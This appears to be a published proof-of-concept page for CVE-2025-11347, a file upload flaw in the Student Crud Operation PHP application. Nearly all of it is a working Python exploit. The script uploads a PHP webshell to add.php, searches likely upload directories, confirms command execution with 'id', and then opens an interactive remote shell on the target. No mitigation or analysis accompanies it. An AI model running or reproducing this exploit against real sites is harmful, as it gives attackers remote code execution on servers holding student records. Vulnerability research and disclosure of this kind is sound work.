CVE-2025-11347：Student Crud Operation任意文件上传致远程代码执行漏洞

# CVE-2025-11347 PoC - Student Crud Operation Unrestricted File Upload # Exploit for code-projects Student Crud Operation <= v3.3 import requests TARGET_URL = "http://target.com/add.php" # Replace with actual target SHELL_FILENAME = "shell.php" SHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def exploit(target_url, filename, content): """ Exploit unrestricted file upload vulnerability in add.php Uploads a PHP webshell to achieve Remote Code Execution """ # Prepare the malicious PHP webshell file files = { 'file': (filename, content, 'application/x-php') } # Send the upload request to the vulnerable endpoint # The 'file' field name may vary depending on the actual form implementation response = requests.post(target_url, files=files) if response.status_code == 200: print(f"[+] File uploaded successfully!") # Common upload directory patterns upload_paths = [ f"/uploads/{filename}", f"/images/{filename}", f"/student_images/{filename}", f"/{filename}" ] for path in upload_paths: shell_url = target_url.rsplit('/', 1)[0] + path # Test if webshell is accessible test = requests.get(f"{shell_url}?cmd=id") if 'uid=' in test.text: print(f"[+] Webshell accessible at: {shell_url}") print(f"[+] Command execution confirmed: {test.text.strip()}") return shell_url print("[-] Exploit failed") return None if __name__ == "__main__": shell_url = exploit(TARGET_URL, SHELL_FILENAME, SHELL_CONTENT) if shell_url: # Interactive shell while True: cmd = input("shell> ") if cmd.lower() in ['exit', 'quit']: break result = requests.get(f"{shell_url}?cmd={cmd}") print(result.text)